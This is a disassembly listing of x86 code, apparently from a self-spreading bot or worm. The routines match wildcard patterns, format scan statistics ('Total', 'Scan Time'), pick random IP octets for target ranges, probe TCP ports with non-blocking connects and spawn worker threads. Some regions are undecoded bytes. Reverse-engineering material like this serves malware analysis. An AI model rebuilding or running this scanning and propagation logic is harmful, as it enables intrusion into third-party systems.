sub_40B4E6 proc near ; CODE XREF: sub_40B450+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B507
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B507: ; CODE XREF: sub_40B4E6+19j
push ebx
push esi
loc_40B509: ; CODE XREF: sub_40B4E6+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B517
cmp [ebp+var_4], eax
jnz short loc_40B563
loc_40B517: ; CODE XREF: sub_40B4E6+2Aj
test edi, edi
jnz short loc_40B558
cmp bl, 2Dh
jnz short loc_40B54C
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B54C
cmp al, 5Dh
jz short loc_40B54C
cmp [ebp+var_4], edi
jnz short loc_40B54C
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B558
cmp bl, al
jg short loc_40B558
push 1
mov [edx], esi
pop edi
jmp short loc_40B558
; ---------------------------------------------------------------------------
loc_40B54C: ; CODE XREF: sub_40B4E6+38j
; sub_40B4E6+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B558
push 1
pop edi
loc_40B558: ; CODE XREF: sub_40B4E6+33j
; sub_40B4E6+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B509
; ---------------------------------------------------------------------------
loc_40B563: ; CODE XREF: sub_40B4E6+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B570
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B570: ; CODE XREF: sub_40B4E6+82j
cmp edi, eax
jnz short loc_40B579
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B579: ; CODE XREF: sub_40B4E6+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B4E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B57E proc near ; CODE XREF: sub_40B450+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B59A: ; CODE XREF: sub_40B57E+3Aj
cmp [eax], bl
jz short loc_40B5BA
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B5AF
cmp cl, 2Ah
jnz short loc_40B5BA
cmp cl, 3Fh
jnz short loc_40B5B2
loc_40B5AF: ; CODE XREF: sub_40B57E+25j
inc eax
mov [edi], eax
loc_40B5B2: ; CODE XREF: sub_40B57E+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B59A
; ---------------------------------------------------------------------------
loc_40B5BA: ; CODE XREF: sub_40B57E+1Ej
; sub_40B57E+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B5C5
inc dword ptr [esi]
jmp short loc_40B5BA
; ---------------------------------------------------------------------------
loc_40B5C5: ; CODE XREF: sub_40B57E+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B5E6
mov edx, [esi]
cmp [edx], bl
jz short loc_40B5D7
xor eax, eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5D7: ; CODE XREF: sub_40B57E+53j
cmp cl, bl
jnz short loc_40B5E6
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B5E6
push 1
pop eax
jmp short loc_40B646
; ---------------------------------------------------------------------------
loc_40B5E6: ; CODE XREF: sub_40B57E+4Dj
; sub_40B57E+5Bj ...
push eax
push dword ptr [esi]
call sub_40B450
pop ecx
test eax, eax
pop ecx
jnz short loc_40B630
loc_40B5F4: ; CODE XREF: sub_40B57E+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B5F8: ; CODE XREF: sub_40B57E+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B610
cmp cl, 5Bh
jz short loc_40B610
cmp dl, bl
jz short loc_40B610
inc eax
mov [edi], eax
jmp short loc_40B5F8
; ---------------------------------------------------------------------------
loc_40B610: ; CODE XREF: sub_40B57E+82j
; sub_40B57E+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B627
push eax
push dword ptr [esi]
call sub_40B450
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B62C
; ---------------------------------------------------------------------------
loc_40B627: ; CODE XREF: sub_40B57E+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B62C: ; CODE XREF: sub_40B57E+A7j
cmp eax, ebx
jnz short loc_40B5F4
loc_40B630: ; CODE XREF: sub_40B57E+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B643
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B643
mov [ebp+var_4], 1
loc_40B643: ; CODE XREF: sub_40B57E+B6j
; sub_40B57E+BCj
mov eax, [ebp+var_4]
loc_40B646: ; CODE XREF: sub_40B57E+57j
; sub_40B57E+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B57E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B64B proc near ; CODE XREF: sub_401ACD+2AF6p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_431E9C
push eax
xor ebx, ebx
call sub_41B886
cmp dword_431B00, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B6BD
push esi
mov esi, offset dword_431B08
loc_40B67E: ; CODE XREF: sub_40B64B+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B6B3
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_431E90
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
add esp, 1Ch
loc_40B6B3: ; CODE XREF: sub_40B64B+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B67E
pop esi
loc_40B6BD: ; CODE XREF: sub_40B64B+2Bj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B886
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 34h
pop edi
pop ebx
leave
retn
sub_40B64B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B71A proc near ; CODE XREF: sub_401ACD+2AE0p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4CE160
mov ecx, dword_4CE15C
push esi
push dword_4CB394
lea esi, [ecx+eax]
call sub_41A88C
pop ecx
push eax
push esi
push dword_4CE160
lea eax, [ebp+var_200]
push dword_4CE15C
push offset unk_431EBC
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 30h
pop esi
leave
retn
sub_40B71A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B786 proc near ; CODE XREF: sub_401ACD+2ACAp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_200]
push dword_4CE3A4
push offset unk_431F04
push eax
call sub_41B886
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 28h
leave
retn
sub_40B786 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B7DB proc near ; CODE XREF: sub_401ACD+2AB4p
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41BB20
push edi
lea eax, [ebp+var_800]
push offset dword_431F50
push eax
call sub_41B886
cmp dword_431B00, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B847
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B810: ; CODE XREF: sub_40B7DB+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_431F40
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B810
pop esi
loc_40B847: ; CODE XREF: sub_40B7DB+2Dj
push dword_4CB394
call sub_41A88C
pop ecx
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41B886
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C1E0
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_800]
push eax
call sub_4151AD
add esp, 30h
pop edi
leave
retn
sub_40B7DB endp
; ---------------------------------------------------------------------------
word_40B8A2 dw 8B55h ; DATA XREF: sub_401ACD+30E1o
dd 0F0EC81ECh, 8B000003h, 56530845h, 8B4B6A57h, 0BD8D59F0h
dd 0FFFFFECCh, 80C7A5F3h, 128h, 1, 0FECC858Dh, 0FF50FFFFh
dd 4CB69415h, 89FF3300h, 3D39F845h, 431B00h, 89FC7D89h
dd 840F087Dh, 118h, 431B00BBh
db 0, 8Bh, 0C3h
; ---------------------------------------------------------------------------
loc_40B8F3: ; CODE XREF: ___:0040B9FEj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40C088
add esp, 0Ch
cmp eax, 1
jnz loc_40B9F4
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_431FA0
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A73
lea eax, [ebp-3F0h]
push eax
call sub_4151AD
add esp, 2Ch
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41B886
pop ecx
lea eax, [ebp-15Ch]
pop ecx
push esi
push eax
call sub_41B886
cmp byte ptr [ebp-0A4h], 0
pop ecx
pop ecx
lea eax, [ebp-0A4h]
jnz short loc_40B98F
lea eax, [ebp-124h]
loc_40B98F: ; CODE XREF: ___:0040B987j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41B886
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B9F4: ; CODE XREF: ___:0040B906j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B8F3
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_431F6C
push eax
call sub_41B886
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_409A73
lea eax, [ebp-3F0h]
push eax
call sub_4151AD
push dword ptr [ebp-18h]
call sub_40B413
add esp, 2Ch
push edi
nop
; ---------------------------------------------------------------------------
dw 0A9E8h
; ---------------------------------------------------------------------------
inc ebp
xor [edx], al
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA57 proc near ; CODE XREF: sub_401ACD+244Fp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B33F
test eax, eax
pop ecx
jle short loc_40BA93
mov eax, [ebp+arg_C]
push dword_4CB7A0[eax*8]
call dword_4CB6E0
push eax
lea eax, [ebp+var_200]
push offset unk_431FF0
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40BAA6
; ---------------------------------------------------------------------------
loc_40BA93: ; CODE XREF: sub_40BA57+13j
lea eax, [ebp+var_200]
push offset unk_431FD0
push eax
call sub_41B886
pop ecx
pop ecx
loc_40BAA6: ; CODE XREF: sub_40BA57+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_200]
push eax
call sub_4151AD
add esp, 18h
leave
retn
sub_40BA57 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BACE proc near ; CODE XREF: sub_40C125+267p
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40BFA0
shl eax, 6
xor ebx, ebx
cmp dword_431B0C[eax], ebx
jz loc_40BFA0
push 5
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BD55
mov eax, dword_429078
push edi
mov esi, offset dword_4CD85C
push 104h
push esi
push ebx
mov dword_4CDA6C, eax
mov dword_4CDA68, ebx
nop
call near ptr 26A0000h
mov edi, offset byte_429110
push 103h
push edi
push offset dword_4CD960
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CD858, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4CDAF0, eax
jnz short loc_40BB81
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDA70
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAF4, 1
jmp short loc_40BB9B
; ---------------------------------------------------------------------------
loc_40BB81: ; CODE XREF: sub_40BACE+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDA70
call sub_41B5F0
add esp, 0Ch
mov dword_4CDAF4, ebx
loc_40BB9B: ; CODE XREF: sub_40BACE+B1j
push esi
lea eax, [ebp+var_204]
push dword_4CDA6C
push offset unk_42C55C
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_40B0F7
add esp, 1Ch
mov dword_4CDA64, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD858
push offset byte_411797
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, dword_4CDA64
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BC09
loc_40BBF7: ; CODE XREF: sub_40BACE+139j
cmp dword_4CDAF8, ebx
jnz short loc_40BC24
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40BBF7
; ---------------------------------------------------------------------------
loc_40BC09: ; CODE XREF: sub_40BACE+127j
nop
call near ptr 26B0857h
push eax
lea eax, [ebp+var_204]
push offset unk_432110
push eax
call sub_41B886
add esp, 0Ch
loc_40BC24: ; CODE XREF: sub_40BACE+12Fj
lea eax, [ebp+var_204]
push eax
call sub_4151AD
mov eax, dword_4CB390
mov esi, offset dword_4CDB04
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4CDD14, eax
mov dword_4CDD10, ebx
nop
call near ptr 26A0000h
push 103h
push edi
push offset dword_4CDC08
call sub_41B5F0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4CDB00, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4CDD98, eax
push 7Fh
jnz short loc_40BCA5
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDD18
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD9C, 1
jmp short loc_40BCBF
; ---------------------------------------------------------------------------
loc_40BCA5: ; CODE XREF: sub_40BACE+1B8j
lea eax, [ebp+arg_90]
push eax
push offset dword_4CDD18
call sub_41B5F0
add esp, 0Ch
mov dword_4CDD9C, ebx
loc_40BCBF: ; CODE XREF: sub_40BACE+1D5j
push esi
lea eax, [ebp+var_204]
push dword_4CDD14
push offset unk_4320DC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_40B0F7
add esp, 1Ch
mov dword_4CDD0C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDB00
push offset word_40E992
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, dword_4CDD0C
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BD2D
loc_40BD1B: ; CODE XREF: sub_40BACE+25Dj
cmp dword_4CDDA0, ebx
jnz short loc_40BD48
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40BD1B
; ---------------------------------------------------------------------------
loc_40BD2D: ; CODE XREF: sub_40BACE+24Bj
call near ptr 26B0857h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_4320A8
push eax
call sub_41B886
add esp, 0Ch
loc_40BD48: ; CODE XREF: sub_40BACE+253j
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BD55: ; CODE XREF: sub_40BACE+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_431B14[ecx], ebx
jz loc_40BE7E
push 7
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BE78
mov eax, dword_4CE39C
cmp [ebp+arg_90], bl
mov dword_4CD7C4, eax
mov eax, [ebp+arg_110]
mov dword_4CD7B8, eax
mov eax, [ebp+arg_138]
mov dword_4CD7C0, ebx
mov dword_4CD848, eax
push 7Fh
jnz short loc_40BDC9
lea eax, [ebp+arg_10]
push eax
push offset dword_4CD7C8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD84C, 1
jmp short loc_40BDE3
; ---------------------------------------------------------------------------
loc_40BDC9: ; CODE XREF: sub_40BACE+2DCj
lea eax, [ebp+arg_90]
push eax
push offset dword_4CD7C8
call sub_41B5F0
add esp, 0Ch
mov dword_4CD84C, ebx
loc_40BDE3: ; CODE XREF: sub_40BACE+2F9j
push dword_4CD7C4
lea eax, [ebp+var_204]
push offset unk_432078
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_40B0F7
add esp, 18h
mov dword_4CD7BC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CD7B8
push offset dword_40E6F0
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, dword_4CD7BC
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BE50
loc_40BE3E: ; CODE XREF: sub_40BACE+380j
cmp dword_4CD850, ebx
jnz short loc_40BE6B
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40BE3E
; ---------------------------------------------------------------------------
loc_40BE50: ; CODE XREF: sub_40BACE+36Ej
call near ptr 26B0857h
nop
push eax
lea eax, [ebp+var_204]
push offset unk_432040
push eax
call sub_41B886
add esp, 0Ch
loc_40BE6B: ; CODE XREF: sub_40BACE+376j
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BE78: ; CODE XREF: sub_40BACE+2A8j
mov eax, [ebp+arg_130]
loc_40BE7E: ; CODE XREF: sub_40BACE+298j
shl eax, 6
cmp dword_431B10[eax], ebx
jz loc_40BFA0
push 3
call sub_40B33F
test eax, eax
pop ecx
jnz loc_40BFA0
mov esi, offset dword_4CE034
push 104h
push esi
push ebx
call near ptr 26A0000h
nop
push 5Ch
push esi
call sub_41BE40
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40BEBF
mov [eax], bl
loc_40BEBF: ; CODE XREF: sub_40BACE+3EDj
mov eax, dword_42907C
mov dword_4CE14C, ebx
mov dword_4CE138, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4CDDAC
call sub_41B886
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4CDDA8, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4CE138
mov dword_4CE144, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4CE148, ecx
call sub_40AC10
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_42C4E4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_40B0F7
add esp, 20h
mov dword_4CE140, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4CDDA8
push offset sub_40F0D6
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, dword_4CE140
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40BF78
loc_40BF66: ; CODE XREF: sub_40BACE+4A8j
cmp dword_4CE154, ebx
jnz short loc_40BF93
push 32h
nop
call near ptr 26A0F44h
jmp short loc_40BF66
; ---------------------------------------------------------------------------
loc_40BF78: ; CODE XREF: sub_40BACE+496j
nop
call near ptr 26B0857h
push eax
lea eax, [ebp+var_204]
push offset unk_43200C
push eax
call sub_41B886
add esp, 0Ch
loc_40BF93: ; CODE XREF: sub_40BACE+49Ej
lea eax, [ebp+var_204]
push eax
call sub_4151AD
pop ecx
loc_40BFA0: ; CODE XREF: sub_40BACE+14j
; sub_40BACE+25j ...
pop esi
pop ebx
leave
retn
sub_40BACE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFA4 proc near ; CODE XREF: sub_40C125:loc_40C196p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4CB7A0h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_41C310
add esp, 0Ch
push [ebp+arg_0]
call dword_4CB57C
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4CB650
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_41C310
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40BFA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BFEC proc near ; CODE XREF: sub_40C125+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_41AFE0
cmp eax, 0Fh
pop ecx
jbe short loc_40C014
xor eax, eax
jmp short loc_40C085
; ---------------------------------------------------------------------------
loc_40C014: ; CODE XREF: sub_40BFEC+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_41C645
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C041
call sub_41B8E2
mov [ebp+var_C], eax
loc_40C041: ; CODE XREF: sub_40BFEC+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C04E
call sub_41B8E2
mov [ebp+var_8], eax
loc_40C04E: ; CODE XREF: sub_40BFEC+58j
cmp [ebp+var_4], esi
jnz short loc_40C05B
call sub_41B8E2
mov [ebp+var_4], eax
loc_40C05B: ; CODE XREF: sub_40BFEC+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C067
call sub_41B8E2
loc_40C067: ; CODE XREF: sub_40BFEC+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CB7A0[ecx*8], eax
loc_40C085: ; CODE XREF: sub_40BFEC+26j
pop esi
leave
retn
sub_40BFEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C088 proc near ; CODE XREF: ___:0040B8FBp
; sub_40C125+BBp
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CB6D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C0B1
xor eax, eax
jmp short loc_40C120
; ---------------------------------------------------------------------------
loc_40C0B1: ; CODE XREF: sub_40C088+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB654
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CB6F0
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB5FC
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB63C
push esi
mov edi, eax
call dword_4CB6EC
xor eax, eax
cmp edi, ebx
setnle al
loc_40C120: ; CODE XREF: sub_40C088+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C088 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C125 proc near ; DATA XREF: sub_40C125+353o
var_29C = dword ptr -29Ch
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_1CC = byte ptr -1CCh
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_14C = byte ptr -14Ch
var_140 = byte ptr -140h
var_13C = byte ptr -13Ch
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
nop
call near ptr 26C066Dh
push eax
call sub_41B8D8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C16C: ; CODE XREF: sub_40C125+204j
mov eax, dword_43E594[ebx]
cmp dword_4CB7A4[eax*8], 0
jz loc_40C32E
cmp [ebp+var_10], 0
push eax
jz short loc_40C196
lea eax, [ebp+var_150]
push eax
call sub_40BFEC
pop ecx
jmp short loc_40C19B
; ---------------------------------------------------------------------------
loc_40C196: ; CODE XREF: sub_40C125+60j
call sub_40BFA4
loc_40C19B: ; CODE XREF: sub_40C125+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E594[ebx]
push [ebp+var_3C]
push edi
call dword_4CB6E0
push eax
lea eax, [ebp+var_28C]
push offset unk_43216C
push eax
call sub_41B886
add esp, 18h
lea eax, [ebp+var_28C]
push eax
lea eax, dword_43E390[ebx]
push eax
call sub_41B886
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C088
add esp, 14h
cmp eax, 1
jnz loc_40C31E
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C272
push offset dword_4CD7A0
call near ptr 77F7E21Fh
nop
push [ebp+var_3C]
push edi
call dword_4CB6E0
push eax
